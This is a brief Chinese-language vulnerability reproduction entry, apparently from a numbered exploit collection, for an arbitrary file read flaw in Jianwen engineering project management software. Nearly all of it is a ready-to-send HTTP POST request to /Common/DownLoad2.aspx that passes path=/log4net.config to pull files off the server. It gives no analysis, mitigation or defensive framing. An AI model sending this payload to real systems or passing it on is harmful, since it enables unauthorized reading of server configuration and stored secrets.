J18-6建文-工程项目管理软件-任意文件读取

漏洞复现：

payload：

POST /Common/DownLoad2.aspx HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 28

path=/log4net.config&Name=